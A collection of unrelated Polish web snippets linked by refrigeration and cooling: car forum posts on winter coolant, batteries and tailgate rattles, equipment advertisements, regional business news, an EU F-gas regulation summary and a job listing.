Strony firmy Brandt Polska Sp. z o.o.
http://www.brandt.pl
Ulegly gruntownej przebudowie i aktualizacji

Brandt Polska Sp. z o.o.
02-796 Warszawa, ul. Migdalowa 4.
tel. (022) 645 11 00, fax (022) 645 16 88
Brandt - jeden z liderow europejskiego rynku urzadzen gospodarstwa
domowego oferuje szeroki asortyment sprzetu kuchennego, chlodniczego,
pralniczego z uwzglednieniem zarowno sprzetu wolnostojacego jak i do
zabudowy.

MR


· 

Witam.
Mimo, iż mamy dopiero koniec września, a do kalendarzowej zimy zostały niecałe 3 miesiące, ale patrząc na to co się dzieje z pogodą, warto byłoby zatroszczyć się o autko już teraz.
Nie chodzi mi o sam stan techniczny auta, czyli o sprawny akumulator, pióra wycieraczek, odpowiedni płyn chłodniczy (nie sama woda destylowana ), ale też o np. sprawdzenie stanu opon zimowych. Jeśli są już stare i popękane, to lepiej nie ryzykować i szybko kupić nowe. Dlaczego? Bo jeszcze można tanio kupić opony zimowe, a jak spadnie śniego to ceny skoczą w górę, a o warsztatach wulkanizacyjnych do wymiany opon czy wyważenia kół nie wspomnę. Terminy po parę tygodni.
Jeśli macie opony zimowe na felgach, to warto już teraz zanieść je na wyważenie i jak będą pierwsze oznaki zimy to samemu wymienić koła.
Jak wspomniałem, nie można zapomnieć o akumulatorze. Generalnie jeśli nie macie teraz kłopotów z rozruchem, nie świeci się kontrolka akumulatora przy włączonej większej ilości urządzeń elektrycznych w aucie, to warto dla świętego spokoju sprawdzić samo napięcie ładowania (min. 13.8V, max 14.4V), oraz akumulatora bez obciążenia (min. 12,5V).
Ciekawy artykuł, już pewnie kiedyś pojawił się na forum http://www.akumulatory.auto.pl/porady.htm

Jak przygotować auto do zimy? Dzielcie się swoimi poradami i doświadczeniami.
Pozdrawiam.

1. w oplu jak masz wszystko w porządku z termostatem to nie potrzeba tektury
2. lampka w akumulatorze jeśli się pali to nie oznacza że akumulator jest ok bo ta lampka jest podłączona tylko w jednej celi akumulatora a jest ich tam kilka tak więc jeśli np zepsuje się inna cela niż ta gdzie jest ta lampka to aku będzie do wymiany a lampka i tak będzie się świecić na zielono ona ogólnie pokazuje czy aku jest naładowany i tyle.

3. Jeżeli to jest nowe autko to kolego koniecznie sprawdź zamarzalność płynu chłodniczego bo jeśli masz latni to przy dużych mrozach w najlepszym przypadku może Ci wąż rozsadzić, albo chłodnicę a w najgorszym wypadku może pęknąć blok silnika i będą kłopoty - tak więc nie słuchaj rad ludzi którzy mówią że oni mieli letni i nic się nie stało bo może nie było dużych mrozów i mieli fuksa.
Do tego płyny są takie specjalne urządzenia do sprawdzania na każdej stacji diagnostycznej powinni to mieć warto podjechać i zagadać to może za darmo Ci sprawdzą

Szanowni Państwo,

Wychodząc naprzeciw oczekiwaniom stawianym przez obecne czasy wobec wymogów kultury, jakości i efektywności pracy przedstawiam Państwu ofertę współpracy w zakresie właściwego doboru oraz montażu urządzeń klimatyzacyjnych i chłodniczych.

Proponowane rozwiązania i urządzenia zapewniają komfort cieplny ludziom oraz pomagają "swobodniej oddychać" budynkom i pomieszczeniom.

Rola klimatyzacji najczęściej kojarzona jest tylko z chłodzeniem powietrza w upalne letnie dni, natomiast schładzanie powietrza to tylko jedna z wielu funkcji klimatyzatora. Nowoczesne urządzenia w zimne dni podgrzewają powietrze oraz dodatkowo zapewniają komfort poprzez eliminowanie zanieczyszczeń w powietrzu.

Klimatyzator ma za zadanie utrzymywanie w pomieszczeniu stałych parametrów klimatycznych powietrza takich jak temperatura, wilgotność oraz zanieczyszczenia z uwzględnieniem specyficznych dla każdej przestrzeni i budynku warunków oraz wymagań użytkowników.

Ze swojej strony zapewniamy właściwy dobór urządzeń, realizację dostaw, wykonawstwo, gwarancję oraz serwis gwarancyjny i pogwarancyjny.

Zapraszamy do współpracy.
http://aitklima.pl/


· 

dlugo nie pisalem, przy autku zmienilem :

olej, uszczelka pokrywwy zaworów, filtr powietrza, filtr oleju, termostat, płyn chłodniczy, filtr kabinowy, zarówki, nowa antena, nowy wzmacniacz, zabudowa audio jakas, cb radio, przegląd gazu, filtr gazu, czujnik temperatury, naprawa wszystkich niedziałajacych urządzen, wyrównanie bagażnika, centralny zamek, alarm, sprzątanie wewnatrz, nowe wycieraczki, suszenie i łatanie przecieku, mycie silnika, odciecie zapłonu, znaczki na czarno tak jak na GT przystało, z 3 razy do umyłem, z 10 sprzarałem w sordku......... juz wiecej nie pamietam o robiłem przez te 2 miesiace, auto sobie kupiłem tak w ogole nowe:D

EKO kupiła urządzenia chłodnicze w Irlandii

Wrocławska sieć EKO podpisała z irlandzką firmą Novum umowę na dostawę bonet chłodniczych. To duży kontrakt, który obejmuje ponad 500 tego typu urządzeń. Już od miesiąca są one systematycznie wprowadzane do sklepów EKO. U podstaw decyzji o zakupie tak dużej partii nowego sprzętu legły: potrzeba wprowadzenia jednakowego standardu ekspozycji, dbałość o środowisko oraz oszczędność energii. – W ostatnich miesiącach testowaliśmy sprzęt mroźniczy różnych producentów m.in. z Austrii i Włoch, ale dopiero bonety irlandzkiej firmy spełniły wszystkie nasze wymogi. Dodatkowym atutem tych urządzeń jest to, że umieszczone w nich produkty widać nie tylko z góry, ale także z boku. Taka ekspozycja jest dużo atrakcyjniejsza dla kupujących – mówią przedstawiciele EKO.
Sieć ma od niedawna nowe logo i systematycznie zmienia wizerunek swych sklepów. Jednym ze strategicznych założeń na 2007 rok jest opracowanie założeń systemu franczyzowego, ukierunkowanego na pozyskanie niezależnych detalistów i operatorów posiadających od jednego do kilku sklepów. Na ten rok EKO zaplanowało również: otwarcie minimum 30 nowych placówek w zmienionej wizualizacji, przejmowanie lokalnych sieci oraz pojawienie się w kolejnych regionach kraju. Obecnie EKO skupia ponad 180 sklepów. Obejmuje swym zasięgiem województwa: zachodniopomorskie, lubuskie, wielkopolskie, dolnośląskie, łódzkie, opolskie i śląskie.

(GSZ) Wiadomości Handlowe

No Frost to specjalny system stosowany w niektórych nowoczesnych lodówkach. Polega on na automatycznej kontroli wilgotności powietrza w urządzeniu. System ten również osusza i wymienia powietrze, dzięki czemu w komorach chłodniczych nie osadza się szron. Często takie lodówki nazywa się lodówkami bezszronowymi.Nie wymagają one praktycznie żadnej obsługi, ponieważ nie jest już wymagane rozmrażanie. Ich główną wadą jest to, że żywność musi być przechowywana w opakowaniach, ponieważ obieg powietrza wewnątrz komory powoduje jej wysuszanie. Cena lodówek z tym systemem jest również wyższa niż zwykłych modeli.

Co do drugiego pytania to pewnie chodzi o powłokę antybakteryjną (która zawiera związki srebra), hamującą rozwój bakterii i wielu rodzajów grzybów. Stosuje się je w celu uzyskania wysokiego poziomu higieny.

Witam serdecznie,
Jeżeli zależy ci na super_profesjonalnym, nowoczesnym i kompleksowym wyposażeniu lokalu gastronomicznego (albo innego tym podobnego punktu) w sprzęt taki jak urządzenia gastronomiczne, grzewcze, chłodnicze, piece konwekcyjno-parowe itd. wtem polecam ten link www.fredomatic.com.pl !
Pzdr

Rozporządzenie (WE) nr 842/2006 Parlamentu Europejskiego i Rady z dnia 17 maja 2006r. w sprawie niektórych fluorowanych gazów cieplarnianych oraz publikowanych interpretacji Komisji Europejskiej oznacza nowe podejście do posiadania, eksploatacji i napraw urządzeń chłodniczych, klimatyzacyjnych i pomp ciepła. Dawniej użytkownik czy właściciel układu chłodniczego, dziś tzw. "operator" oznacza osobę fizyczną lub prawną odpowiedzialną za właściwe instalowanie i korzystanie oraz końcową likwidację układu chłodniczego. Zgodnie z duchem rozporządzenia, czyli z troską o eliminację wycieków czynników chłodniczych, to na operatorze stale spoczywa obowiązek upewnienia się, że wykonywanie czynności polegających na instalowaniu, konserwowaniu, serwisowaniu (naprawie), regularnych przeglądach szczelności i odzysku czynników np. w klimatyzatorze są wykonywane wyłącznie przez certyfikowany personel. Warto, więc zwrócić uwagę że zgodniez rozporządzniem, już w momencie instalowania każdy operator musi zaangażować do wykonania tej czynności odpowiednio certyfikowaną jednostkę.

Narzędziem promowania i wskazywania operatorom solidnych uprawnionych przedsiębiorców są certyfikacje. W tym celu Krajowa Izba Chłodnictwa i Klimatyzacji we współpracy z Krajową Izbą gospodarczą wdrożyła Branżowy Certyfikat Jakości. Program certyfikowania służy wzmocnieniu działań gospodarczych przedsiębiorców wypełniających wymogi ekologii i kodeksu etycznego.



źródło / Fonko Polska

Prowadzimy serwis maszyn do lodów (m.in. regeneracja pomp, świdrów), urządzeń gastronomicznych i chłodniczych. Budowa komórchlodniczych, naprawa wytwornic wody lodowej, klimatyzacja.
Sprzedaż maszyn do lodów nowe i używane.

Kontakt: 0-22) 756 88 59, 756 90 24
e.mail: remgo@remgor.com.pl

Hanka z garażami jeszcze w lipcu

Nowoczesny budynek sklepu z 25 miejscami garażowymi już cieszy oko na Osiedlu Dobrzec. Garaże są czynne, a sklep PSS Społem zostanie otwarty wraz z końcem miesiąca

Sklep wraz z podziemnymi garażami to wspólna inwestycja Spółdzielni Mieszkaniowej Dobrzec i PSS Społem. Umiejscowiony przy ul. Hanki Sawickiej klimatyzowany budynek nie mógł nazywać się inaczej, niż po prostu „Hanka”.– Jesteśmy w trakcie montażu ład chłodniczych i regałów. Kiedy zamontujemy już wszystkie niezbędne urządzenia, na półkach ustawiony zostanie towar – powiedziała Prezes Zarządu PSS Społem, Mirosława Marczak, która zdradza, że w nowym sklepie zamontowany zostanie piec, dzięki któremu na miejscu wypiekane będą m.in. bułeczki.
W podziemiach, pod pawilonami znajduje się 25 garaży na wynajem. – Zdecydowaliśmy się na dobudowanie garaży, bowiem terenu na osiedlu jest mało i jest on coraz droższy. Miejsc parkingowych nie tylko nie przybywa, ale ubywa – informuje prezes Zarządu SM Dobrzec, Krzysztof Dremza.
Podziemny nowoczesny parking już działa. Jak informuje prezes SM Dobrzec, nie wszystkie garaże zostały wynajęte. Jest zatem kusząca okazja, by w okresie letnim móc parkować samochód w chłodnym pomieszczeniu.

żk

Jako że tematy zimowe się powoli pojawiają, przypomniało mi się to co mi chodziło o glowie zeszłej zimy - urządzenie podgrzewające płyn chłodniczy i wnętrze auta przed rozruchem, ma to dobrze wpływać na silnik no i komfort , odmrożone szybki bez skrobania itp.
Czy ktoś z Forumowiczów używa takiego grzania ? jakie wrażenia ?
Nowe komplety do montażu kosztują ok 3tys chyba, używane pojawiają się za ok 1000-1500zł (Webasto thermo top C). Montaż ponoć nie jest trudny.

Pozdrawiam
Andrzej

Maciej 827 Si '93 wrote:
W 827 sa 2 sruby na dole bloku, ale chyba polowy (z 8,5 litra) plynu nie da
sie inaczej spuscic niz przez nie.

nawiazujac do rozmow zlotowych z p. Pomianowskim sprzedaje info, ze
Rover zaleca i dystrybuuje urzadzenie, do podcisnieniowej wymiany plynu
chlodzacego. Wyproznienie oraz napelnienie powinno sie odbywac pod
cisnieniem, by bylo 100% skuteczne...
w Polsce nikt takiego urzadzenia jeszcze nie ma a importer namawia do
zakupu. Koszt to ok. 4-5kpln

kontynuujac temat chlodzenia: koniecznie trzeba sprawdzac regularnie
korek od zbiornika wyrownawczego. Ma tendencje do psucia i nie trzyma
odpowiedniego cisnienia w ukladzie. Zdarza sie, ze nawet nowe korki maja
te usterke

Rover od dlugiego czasu obserwuje zachowanie sie plynow chlodniczych i
bada ich wlasciwosci. W tej chwili jest juz zalecany czwarty, podobno
najlepszy (zalecenia wbrew pozorom nie wynikaja tu z ukladow handlowych
tylko z jakosci). Obecnie polecany plyn to Total (nie pamietam ktory,
sprawdze wkrotce)

uff
irek

Witam!
Ja znam przypadek z życia wzięty, kiedy przed otwarciem sklepu spożywczego, przyszły Kierownik sklepu był na kursie w [...], gdzie powołując się na to nowe Rozporządzenie (z 28 kwietnia 2003) uważa się, że wymagane jest świadectwo „E” do 1 kV (-m.in. ze względu na zainstalowane w sklepie urządzenia chłodnicze). -Po kursie i zdaniu egzaminu, Kierownik sklepu, staje się Elektrykiem z uprawnieniami „E”do 1 kV.
-Teraz widać, do czego prowadzą te niejasne Rozporządzenia […].

Ten tekst przyszedł mi do głowy po przeczytaniu postu Automateusza w wątku
"Re: "Twarz" na Marsie". Jednak jest on skierowany do wszystkich.

Co do nauki to np. Odkrycie dzialania kodu genetycznego, budowy atomu,
Ukladu Slonecznego, znacznej czesci praw przyrody, loty w kosmos,
klonowanie, nowe odmiany roslin hodowlanych, komputery, telewizja, radio,
samoloty, drukarki, radioteleskopy, itd itp.... (kolejnosc i ranga
przypadkowa)


Ech, aleś ty Automateusz durny!
Te wszystkie komputery to NIC w porównaniu z Magnokraftem! Nie wspominając o
wyjaśnieniu Prawdy o UFO czy paleoastronautyce, tajemnicach Najwyższego
Intelektu, paramedycyny, magii, piramid itd.

Powiedz mi, cóż ma za znaczenie głupi genom w porównaniu z odpowiedzią na
temat położenia kosmitów?!

Tak poważniej, sam przyznasz, że te informacje miałyby radykalne i
diamentralne znaczenie, gdyby były prawdziwe. Jednak o to właśnie się
rozchodzi... :-) Dla mnie drobną wskazówką na temat prawdziwości są _skutki_
informacji w porównaniu z _rangą_ informacji. Informacja o magii, tak (z
opisów) o wiele potężniejszej od najnowocześniejszej techniki, ma raczej
mizerne skutki, gdy np. wynalazek głupiego tranzystora (phi, cóż to wobec
sztandarowych tematów paranauk) zmienił w pół wieku cały świat.

Albo takie piramidy - gdyby _faktycznie_ miały takie moce, jakie się im
przypisuje, DZIŚ byłyby powszechnie używane zamiast np. kosztownych urządzeń
chłodniczych, a ich własności byłyby uważane za coś zwykłego, jak np.
fotodioda. Ta uwaga o dysproporcji teoretycznych twierdzeń paranauk w
stosunku do ich realnych skutków dotyczy zresztą wszystkich sfer, które
zostały otoczone czułą opieką paranauk. Swego czasu pytałem się Mr Alla,
czemu na chodnikach nie widać lewitujących przechodni, a za to pełno jest
samochodów. To jest właśnie ta sprawa - świat, w którym np. magia realnie by
istniała, nie wytworzyłby cywilizacji, jaką znamy - technologiczną. I tak
dalej ze wszystkim...

Mam nadzieję, że ktoś z paraludków to przeczyta i mi wyjaśni tę dysproporcję
między _potencjałem_ paranauki (czyli możliwościami, jakie one mają oferować
według twierdzeń paranaukowców) a ich (nie)widocznymi powszechnie (tzn. tak
jak np. samochody na ulicach) _realnymi_ skutkami?

Pozdrawiam


Spodziewaliśmy się opóźnienia, ale nie aż tak dużego twierdzą rybacy, którzy wciąż czekają na uruchomienie unijnej pomocy. Tymczasem program na lata 2007-13 jest jeszcze na etapie uzgodnień z Komisja Europejską.
Z funduszy na lata 2004-2006 najwięcej pieniędzy trafiło do przetwórni. Bez nich nie udałoby się wykonać nawet połowy inwestycji.

Prezes Polskiego, Stowarzyszenia Przetwórców Ryb Jerzy Safader: samochody nowe, chłodnie urządzenia do poprawy warunków sanitarnych i weterynaryjnych, cała linia technologiczna to było bardzo pomocne.

Ale do zrobienia zostało jeszcze dużo. Z powodu ograniczenia kwot połowowych firmy przetwarzające tylko dorsze są w bardzo trudnej sytuacji finansowej. Jedyny ratunek dla nich to rozszerzenie profilu produkcji.

Prezes Polskiego, Stowarzyszenia Przetwórców Ryb Jerzy Safader: wszyscy czekamy mamy miliard do wzięcia w tym przetwórstwo 200 milionów euro. Przede wszystkim dorszowy czekają musimy kupować maszyny, urządzenia.

Resort rolnictwa zapewnia, że robi wszystko, aby nadrobić opóźnienia. A pierwsze wnioski rybacy będą mogli składać jeszcze w tym roku.

Leszek Dybiec, ministerstwo rolnictwa: fundusz rybacki został uchwalony o ponad rok później niż inne fundusze, bo tak długo trwały negocjacje na temat kształtu i zakresu pomocy.

W porównaniu do poprzedniej edycji zmiany nie będą jednak rewolucyjne. Większość programów będzie kontynuowana dojdą tylko nowe działania.

Leszek Dybiec, ministerstwo rolnictwa: największą nowością to jest w programach wodno środowiskowych możliwość rekompensowania tworzenia obszarów NATURA 2000 na obszarach stawów czy jezior użytkowanych przez rybaków.

Zupełnie nowym programem jest także tworzenie na terenach gdzie głównym źródłem dochodów jest rybołówstwo tak zwanych lokalnych grup działania. Mają one zmienić oblicze danego regionu. Będzie można także ubiegać się o wsparcie na wymianę silników w kutrach i statkach rybackich.

M!R@S, to przeczytaj do konca to dowiesz sie o co chodzi. A jak przeczytalem twoj post o szczelnosci glowicy to myslalem ze pekne ze smiechu moj drogi kolego gdybys mial do czynienia z silnikami spalinowymi to rozroznialbys co znaczy sprawdzenie szczelnosci glowicy a co oznacza sprawdzenie szczelnosci zaworow. A jesli nie wiesz to chetnie ci to wyjasnie: szczelnosc glowicy moj drogi oznacza sprawdzenie czy nie ma pekniec glowicy i czy cisnienie z cylindra nie przedostaje sie do ukladu chlodzenia oraz czy olej silnikowy z kanalow olejowych nie bedzie sie przedostawal do kanalow wodnych i na odwrot czego objawem jest w pierwszym przypadku bulgotanie plynu chlodniczego w zbiorniku wyrownawczym a w drugim przypadku pojawnienie sie charakterystycznego "masla" pod korkiem oleju oraz pod pokrywa zaworow oraz w daleszej czesci ukladu chlodzenia (metoda naprawy takiego uszkodzenia jest jesli to mozliwe spawanie glowicy a jesli nie to wymiana na nowa). Natomiast sprawdzenie szczelnosci zaworow i gniazd zaworowych ma na celu zweryfikowowanie czy zawor szczelnie zamyka cylinder silnika i utrzymuje cisnienie sprezania oraz czy nie pozwala przedostac sie cisnienu do kolektora wydechowego oraz spalin do kolektora ssacego. Sposob ktory podales jest starym i sprawdzonym sposobem ( tak na marginesie to nie lejemy "ropy" a olej napedowy lub inna ciecz o wlasciwosciach penetrujacych np nafte ) ale w tej chwili stosuje sie nowoczesne metody sprawdzanie szczelnosci zaworow i gniazd zaworowych za pomoca specjalistycznych urzadzen. W przypadku gdy zawor okaze sie nieszczelny pozostaje szlifowanie i docieranie zawou oraz gniazda zaworowego lub wymiana zaworu i gniazda zaworowego na nowe oraz oczywiscie szlifowanie i docieranie. I prosze cie nie pisz wiecej takoch glupot bo przez ciebie oplulem sobie kawa monitor A jesli chodzi o "bo masz blizej zawory i mniejsza komore" to nie zapomnij o szlifowaniu grzybkow zaworowych z jednej jak i z drugiej strony, o silnikach z komora spalania umieszczona w tloku oraz o uszczelkach o roznej grubosci. To jest wlasnie uzasadnienie Jesli zamontujesz uszczelke o wiekszej grubosci niz nominalna ( np grubsza o tyle ile splanowales glowice to masz identyczny stopien sprezania poniewaz zawory sie nie przyblizaja do tloka oraz komora spalania nie ulega zmiejszeniu lub o grubosci wiekszej niz wartosc o ktora splanowales glowice (uszczelki odprezajace) wtedy zawory oddalaja sie od tloka a komora spalania ulega powiekszeniu.

Co sie dzieje obok nas!!!!!

Nowi inwestorzy w Wałbrzyskiej Specjalnej Strefie Ekonomicznej

Maciej Miskiewicz 26-12-2005 , ostatnia aktualizacja 27-12-2005 20:12

Kolejni inwestorzy szykują się do budowy swoich fabryk na Dolnym Śląsku. Dzięki temu ma powstać ponad dwa tysiące nowych miejsc pracy

Inwestorów przyciąga Wałbrzyska Specjalna Strefa Ekonomiczna. - W styczniu rząd powinien przyjąć rozporządzenie w sprawie zmiany granic naszej strefy - zapowiada Mirosław Greber, prezes WSSE. Strefa ma być powiększona o 59,3 ha. Na włączonych do WSSE terenach kilkanaście firm ma zainwestować 562 mln zł i stworzyć 2190 miejsc pracy.

Najbardziej spektakularne przedsięwzięcie szykuje się w Stanowicach pod Oławą. Amerykański koncern motoryzacyjny American Axle Manufacturing chce wybudować swój zakład na terenie poradzieckiego lotniska. W walce o tę inwestycję Polska rywalizowała z Litwą. Firma zainwestuje u nas 50 mln dolarów i zatrudni 250 osób. Ale niewykluczone, że ta liczba może w przyszłości wzrosnąć nawet dwukrotnie.

Będzie to pierwszy w Polsce zakład tego koncernu. AAM produkuje systemy napędowe i podwozia do: ciężarówek, autobusów, samochodów wyścigowych i osobowych. Firma ma fabryki w Michigan, Nowym Jorku i Ohio oraz biura lub zakłady w Brazylii, Chinach, Anglii i Szkocji, Niemczech, Indiach, Japonii, Meksyku oraz Korei Południowej. W 2004 r. koncern sprzedał produkty za 3,6 mld dolarów i osiągnął 466 mln dolarów zysku.

W Oławie powstanie nowy zakład jednego z poddostawców szwedzkiego koncernu Electrolux. Stanie obok budowanej właśnie przez Szwedów fabryki pralek.

Nowe tereny dla kooperantów Electroluksa mają być utworzone też w pozostałych miastach, w których Szwedzi mają postawić swoje fabryki. W Świdnicy strefa ma powiększyć się o 23,3 ha (na tym terenie będzie też zakład wytwarzający pastę do zębów firmy Colgate-Palmolive ), a w Żarowie o 4,8 ha.

W czwartek pozwolenie na działanie w świdnickiej podstrefie dostała firma Klingenburg International. Na działce o pow. 2,1 ha firma postawi fabrykę urządzeń chłodniczych i wentylacyjnych. Inwestor wyłoży na budowę 4,8 mln zł i zatrudni 45 pracowników. Produkcja ruszy do końca stycznia 2007 r.

Władze strefy chcą też utworzyć nową podstrefę w Strzegomiu. Terenami w tym mieście interesuje się kilka firm. - To poddostawcy dużych koncernów AGD obecnych już w naszym regionie - mówi prezes Greber. Firmy deklarują utworzenie ok. 350 miejsc pracy w nowej podstrefie.

Nowy inwestor może pojawić się też w Nowej Rudzie. Firma ZPAS NET chce uruchomić zakład produkcji sprzętu elektrotechnicznego. Wartość inwestycji to 4 mln zł. Zatrudnienie znajdzie 15 osób.


[Wałbrzych]

Wałbrzyska koksownia zachowuje się jak panna na wydaniu. Przed wejściem na giełdę chce ładniej wyglądać, by lepiej sprzedać swoje akcje. W ubiegłym tygodniu przy bateriach koksowniczych kilku pracowników układało chodnik z czerwonego polbruku. Chodnik wyglądał lepiej niż te, które prowadzą na Plac Magistracki w centrum Wałbrzycha. Na moje pytanie, po co mu taki chodnik, otrzymałem lakoniczna wypowiedź:
- Czy nasi pracownicy muszą chodzić po klepisku i paprać się w błocie, tylko dlatego, że pracują w pyle, huku i upale?

O skali zmian można się przekonać, robiąc mały obchód po koksowni. Do zrobienia w niej jeszcze jest sporo rzeczy, ale już widać, że nowe linie, pomosty, kominy, drogi i chodniki zastępują te stare, nierówne, zardzewiałe konstrukcje. Najbardziej rzucają się w oczy nowe ogrodzenie, nowe duże parkingi przed spółką, nowa recepcja, chłodnie kominowe, nowe laboratorium. Skalniak przed siedzibą straży zakładowej mógłby być ozdobą wałbrzyskich parków. W wielu miejscach przycięto drzewa, dokonano nowych zasadzeń, zasiano trawę.
- Nowe nasadzenia są na pięciu tysiącach metrów kwadratowych - mówi Wioletta Polak-Bodziony z biura zarządu. - Zagospodarowaliśmy skarpę i ją umocniliśmy specjalnymi roślinami, posadziliśmy setki nowych drzew, są to sosny, jodły, jałowce, cisy, modrzewie japońskie, irgi, klony purpurowe, głogi, jarząby.

Koksownia zmienia swój image. Chce stać się nowoczesną firmą, dobrze zarządzaną, umiejętnie wykorzystującą swoją korzystną sytuację gospodarczą. Kierownictwo Victorii nie ukrywa, że podstawą jest wynik finansowy. Skoro w tym półroczu zysk wyniósł więcej niż w całym ubiegłym roku, to jest z czego inwestować i poprawiać wygląd firmy, warunki pracy, obniżać koszty.
- Te stare urządzenia nie tylko fatalnie wyglądały, ale ich wydajność była niższa, nie spełniały obwarowań ekologicznych - tłumaczył niedawno prezes WZK Victoria Fryderyk Krukowski. - Teraz wiele rzeczy robimy nowych, co obniża nam koszty produkcji, poprawia estetykę, nie truje atmosfery. A ludzie jak pracują w estetycznym otoczeniu, pracują lepiej i lepiej się czują, więc osiągamy podwójna korzyść.

W przyszłym roku prawdopodobnie Victoria będzie wchodzić na giełdę. Chce dobrze wyglądać, by drogo się sprzedać. I zarobione pieniądze zainwestować, by nie zmarnować swoich lat koksowniczej prosperity.

Bogdan Skiba,; http://www.tygodnik.walbrzyski.pl

Danfoss wchodzi do ŁSSE

blew
2008-02-03, ostatnia aktualizacja 2008-02-04 09:06

Znana marka zainwestuje w Łódzkiej Specjalnej Strefie Ekonomicznej. Pod względem reputacji zajmuje 12 miejsce na świecie,a na pierwszym są klocki Lego.

Danfoss z Grodziska Mazowieckiego dostał zezwolenie na wejście do ŁSSE, gdzie wybuduje nową fabrykę. Zainwestuje 65 mln zł i utworzy 250 nowych miejsc pracy.

Firma zajmuje się m.in. ogrzewnictwem i chłodnictwem. Powstała w 1991 roku i jest częścią międzynarodowej grupy z siedzibą w Danii. Jej urządzenia znajdziemy w domowych chłodziarkach i kaloryferach, sklepowych ladach chłodniczych czy w biurowej klimatyzacji. Dzięki tej inwestycji Danfoss chce zdobyć pozycję lidera na rynku pomp ciepła, mat grzewczych i urządzeń dla chłodnictwa. - Wejście do ŁSSE może nam w tym pomóc, gwarantując zwolnienie podatkowe - mówi Karolina Gołębiowska, koordynator ds. promocji i PR.

Hala Danfoss będzie wyposażona w nowoczesne linie technologiczne. Firma zapewnia, że stosować będzie proekologiczne rozwiązania produkcyjne, np. segregację odpadów, redukcję zużycia energii, substancji niebezpiecznych i emisję gazów.

Budowa nowej hali to efekt wzrostu sprzedaży Danfoss. Za rozszerzeniem działalności przemawia też dobra koniunktura gospodarcza w Polsce. - Sytuacja jak najbardziej sprzyja nowym inwestycjom - mówi Gołębiowska. - A konkurencja na rynku wymusza odważne działania.

Dla Łodzi korzyści z nowych miejsc pracy raczej nie będzie. Grodzisk Mazowiecki, w którym powstanie inwestycja, leży bowiem nieopodal Warszawy. Zaleta jest inna. Do ŁSSE dołączy prestiżowa firma o dobrej marce. W minionym roku Danfoss zajął 12. miejsce na świecie w rankingu Instytutu Reputacji. Ankietę wypełniło ponad 60 tys. klientów w 29 krajach na sześciu kontynentach. Firmy były oceniane pod względem produktów, wydajności, innowacji i kierownictwa. Listę otwiera producent zabawek LEGO.

To nie pierwsza fabryka oddalona od Łodzi, ale włączona do naszej strefy. - Inwestycje znanych firm powodują, że wzrasta ranga ŁSSE i łatwiej pozyskać kolejnych inwestorów, którzy być może ulokują się Łodzi - mówi Marek Cieślak, prezes strefy.



Źródło: Gazeta Wyborcza Łódź

Jesteśmy globalnym koncernem zatrudniającym ponad 22 000 ludzi na czterech kontynentach i liderem wśród światowych producentów działających w obszarze chłodnictwa, automatyki przemysłowej, ciepłownictwa, wentylacji i klimatyzacji. W związku z dynamicznym rozwojem poszukujemy najlepszych pracowników, którzy dołączając do nas mogą liczyć na pracę w stabilnej, międzynarodowej firmie, doskonałe warunki rozwoju oraz szkolenia.

Do naszej siedziby w Grodzisku Mazowieckim niedaleko Warszawy poszukujemy obecnie

Technika Utrzymania Ruchu ds. Mediów

Nr ref. TUR/AP/07/08

Od kandydatów wymagamy:
• Wykształcenia minimum średniego technicznego o specjalności Elektryk, Elektroenergetyk
• Minimum 3 -5 letniego doświadczenia na podobnym stanowisku
• Uprawnień w zakresie:
1) zajmowania się eksploatacją urządzeń i instalacji elektroenergetycznych grupy 1-szej,
2) dozorowym i eksploatacyjnym przy urządzeniach i instalacjach o napięciu do 1 KV, również przy urządzeniach i instalacjach o napięciu powyżej 1 KV do 15 KV

Zatrudnionej osobie zapewnimy stabilną pracę w prężnym i doświadczonym zespole, możliwość zdobycia wszechstronnych doświadczeń działania w strukturach nowoczesnego koncernu o zasięgu globalnym, możliwość rozwoju tak zawodowego jak i osobistego.

Zainteresowane osoby proszone są o przesyłanie aktualnego CV oraz listu motywacyjnego w z zaznaczeniem numeru referencyjnego na adres:

Departament Personalny Danfoss Sp. z o.o.
ul. Chrzanowska 5, 05-825 Grodzisk Maz. lub e-mail: rekrutacja@danfoss.com

Na dokumentach prosimy o dopisanie następującej klauzuli:
“Wyrażam zgodę na przetwarzanie moich danych osobowych przez firmę Danfoss Sp. z o.o., z siedzibą w Grodzisku Maz., ul. Chrzanowska 5 dla potrzeb niezbędnych do realizacji procesu rekrutacyjnego, zgodnie z przepisami ustawy z dn.29.08.97r. o Ochronie Danych Osobowych (t.j. Dz.Ust. nr 101 poz.926 z póź. zm.). Przyjmuję do wiadomości, że przysługuje mi prawo wglądu do treści moich danych oraz ich poprawiania.”

wszytskie plyny sa teraz teraz robione na glikolu wiec mozna je mieszac nawet jak maja rozne kolory....ja polecam jednak te markowe, Borygo jest jak najbardziej ok, szczegolenie nowe - rozowe, Mamy specjalne urzadzenie badajace jakosc plynu chlodniczego i jakosciowo jest oki

Stage I

Wkurzony równo dźwiękami jakie wydaje klapa zabrałem się za wyciszenie tego dziadostwa. Do akcji użyłem tasmy samoprzylepnej z pianki armaflexowej ( izolacja termiczna urządzeń chłodniczych - bardzo miekka i dobrze się układajaca).

- cięgna od zamków latały sobie luzem w plasykowych łaplach majacych je usztywniać, łapki same zaś latały luzem w otworach w klapie. Wartwa pianki pomiędzy łapki a klape i uchwyciki nagle przestały się ruszać. Same zaś łapki porozginałem żeby sztywno trzymały ciegno.
- kolejne łapki które trzymają kable również latały sobie luzem w klapie, warstwa pianki pod nie i już sztywno ładnie wszytko
- kołki od tego plastyku dużego z klapy latały i w samej klapie jak i w mocowaniach w plastyku. Kilka warstw pianki załatwiło sprawe.
- uchwyt od zamykania też latał, pianka mu i już cisza

Ruszyłem w trase testową, pierwszy prób w bramie i już łup .... :shock: jade dalej i to samo, część dźwięków pogineła ale te bardziej wkur***ce zwiększyły zaś częstotliwość odwiedzin.

Stage II

-dowaliłem kolejną warstwe pianki pod kołki
- jeszcze raz akcja z cięgnami
- podłożyłem troche pod te plastyki na boku szyby

Test - jeszcze gorzej niż po Stage II, kompletna porażka

Stage III

Nowy dzień i nowe nadzieje.
- wybebeszyłem wszystko łącznie z tymi plastykami dookoła szyby
- eurekaaaa !!!!!! plastyki są trzymane przez takie żabki które są wciskane w klape, oczywiście wszystko latało jak żyd po pustym sklepie, pianka w ruch i już cisza
- kable sobie latały luzem i stukały sobie w klape a to w plastyk, wszystko obkleiłem pianką
- wszystkie otwory w klapie zakleiłem poza odpływowym na dolnej klawędzi
- podłożyłem paseczki tasmy w miejscu przylegania plastyków do klapy

Test - błoga ciszaaaa tylko teraz zawieszenie słychać aż sie chce jeździć

To tyle moich wypocin, może przyda się komuś walczącemu z koncertującą klapą w maryśce wekeend

